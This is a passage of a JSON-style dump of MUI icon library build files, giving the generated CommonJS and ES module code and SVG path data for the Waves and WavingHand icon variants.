0-1.4-.25-2.05-.6-.75-.37-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.43.22-.81.41-1.27.52-.45.1-.78.46-.78.91v.07c0 .6.54 1.04 1.12.92.75-.15 1.31-.44 1.83-.69.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.52.26 1.08.55 1.83.7.58.11 1.12-.33 1.12-.92v-.09c0-.46-.34-.82-.79-.92-.46-.1-.83-.28-1.26-.5M17 8.09c-1.35 0-2.2.43-2.95.8-.65.35-1.15.6-2.05.6s-1.4-.25-2.05-.6c-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.43.23-.8.42-1.26.52-.45.1-.79.46-.79.92v.09c0 .59.54 1.03 1.12.91.75-.15 1.31-.44 1.83-.69.65-.32 1.18-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.52.26 1.08.55 1.83.7.58.11 1.12-.33 1.12-.91v-.09c0-.46-.34-.82-.79-.92-.46-.1-.83-.29-1.26-.52-.75-.39-1.6-.81-2.95-.81\"\n}), 'WavesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 16.99c-1.35 0-2.2.42-2.95.8-.65.33-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.43.22-.81.41-1.27.52-.45.1-.78.46-.78.91v.1c0 .6.56 1.03 1.14.91.74-.15 1.3-.43 1.81-.69.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.42 2.95-.8c.65-.33 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.52.26 1.08.55 1.83.7.58.11 1.12-.33 1.12-.91v-.09c0-.46-.34-.82-.79-.92-.46-.1-.83-.29-1.26-.52-.75-.39-1.6-.81-2.95-.81m0-4.45c-1.35 0-2.2.43-2.95.8-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.43.21-.81.41-1.28.52-.44.1-.77.46-.77.91v.1c0 .59.54 1.03 1.12.91.75-.15 1.31-.44 1.83-.69.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.52.26 1.08.55 1.83.7.58.11 1.12-.33 1.12-.92v-.09c0-.46-.34-.82-.79-.92-.46-.1-.83-.29-1.26-.52-.75-.38-1.6-.8-2.95-.8m2.95-8.08c-.75-.38-1.58-.8-2.95-.8s-2.2.42-2.95.8c-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.37-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.43.22-.81.41-1.27.52-.45.1-.78.46-.78.91v.07c0 .6.54 1.04 1.12.92.75-.15 1.31-.44 1.83-.69.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.52.26 1.08.55 1.83.7.58.11 1.12-.33 1.12-.92v-.09c0-.46-.34-.82-.79-.92-.46-.1-.83-.28-1.26-.5M17 8.09c-1.35 0-2.2.43-2.95.8-.65.35-1.15.6-2.05.6s-1.4-.25-2.05-.6c-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.43.23-.8.42-1.26.52-.45.1-.79.46-.79.92v.09c0 .59.54 1.03 1.12.91.75-.15 1.31-.44 1.83-.69.65-.32 1.18-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.52.26 1.08.55 1.83.7.58.11 1.12-.33 1.12-.91v-.09c0-.46-.34-.82-.79-.92-.46-.1-.83-.29-1.26-.52-.75-.39-1.6-.81-2.95-.81\"\n}), 'WavesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 16.99c-1.35 0-2.2.42-2.95.8-.65.33-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.95c1.35 0 2.2-.42 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.42 2.95-.8c.65-.33 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m0-4.45c-1.35 0-2.2.43-2.95.8-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.32-1.17.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m2.95-8.08c-.75-.38-1.58-.8-2.95-.8s-2.2.42-2.95.8c-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.37-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.93c1.35 0 2.2-.43 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V5.04c-.9 0-1.4-.25-2.05-.58M17 8.09c-1.35 0-2.2.43-2.95.8-.65.35-1.15.6-2.05.6s-1.4-.25-2.05-.6c-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.35-1.15.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.32 1.18-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V9.49c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8\"\n}), 'WavesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 16.99c-1.35 0-2.2.42-2.95.8-.65.33-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.95c1.35 0 2.2-.42 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.42 2.95-.8c.65-.33 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m0-4.45c-1.35 0-2.2.43-2.95.8-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.32-1.17.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m2.95-8.08c-.75-.38-1.58-.8-2.95-.8s-2.2.42-2.95.8c-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.37-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.93c1.35 0 2.2-.43 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V5.04c-.9 0-1.4-.25-2.05-.58M17 8.09c-1.35 0-2.2.43-2.95.8-.65.35-1.15.6-2.05.6s-1.4-.25-2.05-.6c-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.35-1.15.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.32 1.18-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V9.49c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8\"\n}), 'WavesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 16.99c-1.35 0-2.2.42-2.95.8-.65.33-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.95c1.35 0 2.2-.42 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.42 2.95-.8c.65-.33 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m0-4.45c-1.35 0-2.2.43-2.95.8-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.32-1.17.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m2.95-8.08c-.75-.38-1.58-.8-2.95-.8s-2.2.42-2.95.8c-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.37-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.93c1.35 0 2.2-.43 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V5.04c-.9 0-1.4-.25-2.05-.58M17 8.09c-1.35 0-2.2.43-2.95.8-.65.35-1.15.6-2.05.6s-1.4-.25-2.05-.6c-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.35-1.15.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.32 1.18-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V9.49c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8\"\n}), 'WavesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 16.99c-1.35 0-2.2.42-2.95.8-.65.33-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.95c1.35 0 2.2-.42 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.42 2.95-.8c.65-.33 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m0-4.45c-1.35 0-2.2.43-2.95.8-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.32-1.17.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.35 1.15-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.58.8 2.95.8v-1.95c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8m2.95-8.08c-.75-.38-1.58-.8-2.95-.8s-2.2.42-2.95.8c-.65.32-1.18.6-2.05.6-.9 0-1.4-.25-2.05-.6-.75-.37-1.57-.8-2.95-.8s-2.2.42-2.95.8c-.65.33-1.17.6-2.05.6v1.93c1.35 0 2.2-.43 2.95-.8.65-.33 1.17-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V5.04c-.9 0-1.4-.25-2.05-.58M17 8.09c-1.35 0-2.2.43-2.95.8-.65.35-1.15.6-2.05.6s-1.4-.25-2.05-.6c-.75-.38-1.57-.8-2.95-.8s-2.2.43-2.95.8c-.65.35-1.15.6-2.05.6v1.95c1.35 0 2.2-.43 2.95-.8.65-.32 1.18-.6 2.05-.6s1.4.25 2.05.6c.75.38 1.57.8 2.95.8s2.2-.43 2.95-.8c.65-.32 1.18-.6 2.05-.6.9 0 1.4.25 2.05.6.75.38 1.58.8 2.95.8V9.49c-.9 0-1.4-.25-2.05-.6-.75-.38-1.6-.8-2.95-.8\"\n}), 'WavesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavingHand.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 17c0 3.31-2.69 6-6 6v-1.5c2.48 0 4.5-2.02 4.5-4.5zM1 7c0-3.31 2.69-6 6-6v1.5C4.52 2.5 2.5 4.52 2.5 7zm7.01-2.68-4.6 4.6c-3.22 3.22-3.22 8.45 0 11.67s8.45 3.22 11.67 0l7.07-7.07c.49-.49.49-1.28 0-1.77s-1.28-.49-1.77 0l-4.42 4.42-.71-.71 6.54-6.54c.49-.49.49-1.28 0-1.77s-1.28-.49-1.77 0l-5.83 5.83-.71-.71 6.89-6.89c.49-.49.49-1.28 0-1.77s-1.28-.49-1.77 0l-6.89 6.89-.69-.7 5.48-5.48c.49-.49.49-1.28 0-1.77s-1.28-.49-1.77 0l-7.62 7.62c1.22 1.57 1.11 3.84-.33 5.28l-.71-.71c1.17-1.17 1.17-3.07 0-4.24l-.35-.35 4.07-4.07c.49-.49.49-1.28 0-1.77-.5-.48-1.29-.48-1.78.01\"\n}), 'WavingHand');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavingHand.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 17c0 3.31-2.69 6-6 6v-1.5c2.48 0 4.5-2.02 4.5-4.5zM1 7c0-3.31 2.69-6 6-6v1.5C4.52 2.5 2.5 4.52 2.5 7zm7.01-2.68-4.6 4.6c-3.22 3.22-3.22 8.45 0 11.67s8.45 3.22 11.67 0l7.07-7.07c.49-.49.49-1.28 0-1.77s-1.28-.49-1.77 0l-4.42 4.42-.71-.71 6.54-6.54c.49-.49.49-1.28 0-1.77s-1.28-.49-1.77 0l-5.83 5.83-.71-.71 6.89-6.89c.49-.49.49-1.28 0-1.77s-1.28-.49-1.77 0l-6.89 6.89-.69-.7 5.48-5.48c.49-.49.49-1.28 0-1.77s-1.28-.49-1.77 0l-7.62 7.62c1.22 1.57 1.11 3.84-.33 5.28l-.71-.71c1.17-1.17 1.17-3.07 0-4.24l-.35-.35 4.07-4.07c.49-.49.49-1.28 0-1.77-.5-.48-1.29-.48-1.78.01\"\n}), 'WavingHand');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavingHandOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.03 4.95 3.49 8.49c-3.32 3.32-3.32 8.7 0 12.02s8.7 3.32 12.02 0l6.01-6.01c.97-.97.97-2.56 0-3.54-.12-.12-.25-.23-.39-.32l.39-.39c.97-.97.97-2.56 0-3.54-.16-.16-.35-.3-.54-.41.4-.92.23-2.02-.52-2.77-.87-.87-2.22-.96-3.2-.28-.1-.15-.21-.29-.34-.42-.97-.97-2.56-.97-3.54 0l-2.51 2.51c-.09-.14-.2-.27-.32-.39-.97-.97-2.55-.97-3.52 0m1.41 1.42c.2-.2.51-.2.71 0s.2.51 0 .71l-3.18 3.18c1.17 1.17 1.17 3.07 0 4.24l1.41 1.41c1.45-1.45 1.82-3.57 1.12-5.36l6.3-6.3c.2-.2.51-.2.71 0s.2.51 0 .71l-4.6 4.6 1.41 1.41 6.01-6.01c.2-.2.51-.2.71 0s.2.51 0 .71l-6.01 6.01 1.41 1.41 4.95-4.95c.2-.2.51-.2.71 0s.2.51 0 .71l-5.66 5.66 1.41 1.41 3.54-3.54c.2-.2.51-.2.71 0s.2.51 0 .71l-6 6.01c-2.54 2.54-6.65 2.54-9.19 0s-2.54-6.65 0-9.19zM23 17c0 3.31-2.69 6-6 6v-1.5c2.48 0 4.5-2.02 4.5-4.5zM1 7c0-3.31 2.69-6 6-6v1.5C4.52 2.5 2.5 4.52 2.5 7z\"\n}), 'WavingHandOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavingHandOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.03 4.95 3.49 8.49c-3.32 3.32-3.32 8.7 0 12.02s8.7 3.32 12.02 0l6.01-6.01c.97-.97.97-2.56 0-3.54-.12-.12-.25-.23-.39-.32l.39-.39c.97-.97.97-2.56 0-3.54-.16-.16-.35-.3-.54-.41.4-.92.23-2.02-.52-2.77-.87-.87-2.22-.96-3.2-.28-.1-.15-.21-.29-.34-.42-.97-.97-2.56-.97-3.54 0l-2.51 2.51c-.09-.14-.2-.27-.32-.39-.97-.97-2.55-.97-3.52 0m1.41 1.42c.2-.2.51-.2.71 0s.2.51 0 .71l-3.18 3.18c1.17 1.17 1.17 3.07 0 4.24l1.41 1.41c1.45-1.45 1.82-3.57 1.12-5.36l6.3-6.3c.2-.2.51-.2.71 0s.2.51 0 .71l-4.6 4.6 1.41 1.41 6.01-6.01c.2-.2.51-.2.71 0s.2.51 0 .71l-6.01 6.01 1.41 1.41 4.95-4.95c.2-.2.51-.2.71 0s.2.51 0 .71l-5.66 5.66 1.41 1.41 3.54-3.54c.2-.2.51-.2.71 0s.2.51 0 .71l-6 6.01c-2.54 2.54-6.65 2.54-9.19 0s-2.54-6.65 0-9.19zM23 17c0 3.31-2.69 6-6 6v-1.5c2.48 0 4.5-2.02 4.5-4.5zM1 7c0-3.31 2.69-6 6-6v1.5C4.52 2.5 2.5 4.52 2.5 7z\"\n}), 'WavingHandOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavingHandRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.07 9.8c-.2.2-.2.51 0 .71 1.07 1.07 1.16 2.75.28 3.92-.15.2-.12.47.05.65.22.22.57.19.76-.05 1.07-1.43 1.06-3.43-.04-4.85l7.62-7.62c.49-.49 1.28-.49 1.77 0s.49 1.28 0 1.77l-5.13 5.13c-.2.2-.2.51 0 .71s.51.2.71 0l6.54-6.54c.49-.49 1.28-.49 1.77 0s.49 1.28 0 1.77l-6.54 6.54c-.2.2-.2.51 0 .71s.51.2.71 0l5.48-5.48c.49-.49 1.28-.49 1.77 0s.49 1.28 0 1.77l-6.19 6.19c-.2.2-.2.51 0 .71s.51.2.71 0l4.07-4.07c.49-.49 1.28-.49 1.77 0s.49 1.28 0 1.77l-7.07 7.07c-3.22 3.22-8.45 3.22-11.67 0s-3.22-8.45 0-11.67l4.6-4.6c.49-.49 1.28-.49 1.77 0s.49 1.28 0 1.77zm.93-8c0-.41-.34-.75-.75-.75-.04 0-.07 0-.11.01-2.63.38-4.7 2.46-5.08 5.08 0 .03-.01.07-.01.11 0 .41.34.75.75.75.38 0 .69-.28.74-.64.28-1.97 1.84-3.53 3.81-3.81.37-.06.65-.37.65-.75m10 20.4c0 .41.34.75.75.75.04 0 .07 0 .11-.01 2.63-.38 4.7-2.46 5.08-5.08 0-.03.01-.07.01-.11 0-.41-.34-.75-.75-.75-.38 0-.69.28-.74.64-.28 1.97-1.84 3.53-3.81 3.81-.37.06-.65.37-.65.75\"\n}), 'WavingHandRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavingHandRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.07 9.8c-.2.2-.2.51 0 .71 1.07 1.07 1.16 2.75.28 3.92-.15.2-.12.47.05.65.22.22.57.19.76-.05 1.07-1.43 1.06-3.43-.04-4.85l7.62-7.62c.49-.49 1.28-.49 1.77 0s.49 1.28 0 1.77l-5.13 5.13c-.2.2-.2.51 0 .71s.51.2.71 0l6.54-6.54c.49-.49 1.28-.49 1.77 0s.49 1.28 0 1.77l-6.54 6.54c-.2.2-.2.51 0 .71s.51.2.71 0l5.48-5.48c.49-.49 1.28-.49 1.77 0s.49 1.28 0 1.77l-6.19 6.19c-.2.2-.2.51 0 .71s.51.2.71 0l4.07-4.07c.49-.49 1.28-.49 1.77 0s.49 1.28 0 1.77l-7.07 7.07c-3.22 3.22-8.45 3.22-11.67 0s-3.22-8.45 0-11.67l4.6-4.6c.49-.49 1.28-.49 1.77 0s.49 1.28 0 1.77zm.93-8c0-.41-.34-.75-.75-.75-.04 0-.07 0-.11.01-2.63.38-4.7 2.46-5.08 5.08 0 .03-.01.07-.01.11 0 .41.34.75.75.75.38 0 .69-.28.74-.64.28-1.97 1.84-3.53 3.81-3.81.37-.06.65-.37.65-.75m10 20.4c0 .41.34.75.75.75.04 0 .07 0 .11-.01 2.63-.38 4.7-2.46 5.08-5.08 0-.03.01-.07.01-.11 0-.41-.34-.75-.75-.75-.38 0-.69.28-.74.64-.28 1.97-1.84 3.53-3.81 3.81-.37.06-.65.37-.65.75\"\n}), 'WavingHandRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavingHandSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 17c0 3.31-2.69 6-6 6v-1.5c2.48 0 4.5-2.02 4.5-4.5zM1 7c0-3.31 2.69-6 6-6v1.5C4.52 2.5 2.5 4.52 2.5 7zm7.9-3.57L3.42 8.91C.2 12.13.2 17.35 3.42 20.58s8.44 3.22 11.67 0l7.95-7.95-1.77-1.77-5.3 5.3-.71-.71 7.42-7.42-1.77-1.77-6.72 6.72-.71-.71 7.78-7.78-1.76-1.76-7.78 7.78-.7-.71 6.36-6.36-1.77-1.77-8.51 8.51c1.22 1.57 1.11 3.84-.33 5.28l-.71-.71c1.17-1.17 1.17-3.08 0-4.24l-.35-.35 4.95-4.95z\"\n}), 'WavingHandSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavingHandSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 17c0 3.31-2.69 6-6 6v-1.5c2.48 0 4.5-2.02 4.5-4.5zM1 7c0-3.31 2.69-6 6-6v1.5C4.52 2.5 2.5 4.52 2.5 7zm7.9-3.57L3.42 8.91C.2 12.13.2 17.35 3.42 20.58s8.44 3.22 11.67 0l7.95-7.95-1.77-1.77-5.3 5.3-.71-.71 7.42-7.42-1.77-1.77-6.72 6.72-.71-.71 7.78-7.78-1.76-1.76-7.78 7.78-.7-.71 6.36-6.36-1.77-1.77-8.51 8.51c1.22 1.57 1.11 3.84-.33 5.28l-.71-.71c1.17-1.17 1.17-3.08 0-4.24l-.35-.35 4.95-4.95z\"\n}), 'WavingHandSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WavingHandTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.44 6.37c.2-.2.51-.2.71 0s.2.51 0 .71l-3.18 3.18c1.17 1.17 1.17 3.07 0 4.24l1.41 1.41c1.45-1.45 1.82-3.57 1.12-5.36l6.3-6.3c.2-.2.51-.2.71 0s.2.51 0 .71l-4.6 4.6 1.41 1.41 6.01-6.01c.2-.2.51-.2.71 0s.2.51 0 .71l-6.01 6.01 1.41 1.41 4.95-4.95c.2-.2.51-.2.71 0s.2.51 0 .71l-5.66 5.66 1.41 1.41 3.54-3.54c.2-.2.51-.2.71 0s.2.51 0 .71l-6 6.01c-2.54 2.54-6.65 2.54-9.19 0s-2.54-6.65 0-9.19z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.03 4.95 3.49 8.49c-3.32 3.32-3.32 8.7 0 12.02s8.7 3.32 12.02 0l6.01-6.01c.97-.97.97-2.56 0-3.54-.12-.12-.25-.23-.39-.32l.39-.39c.97-.97.97-2.56 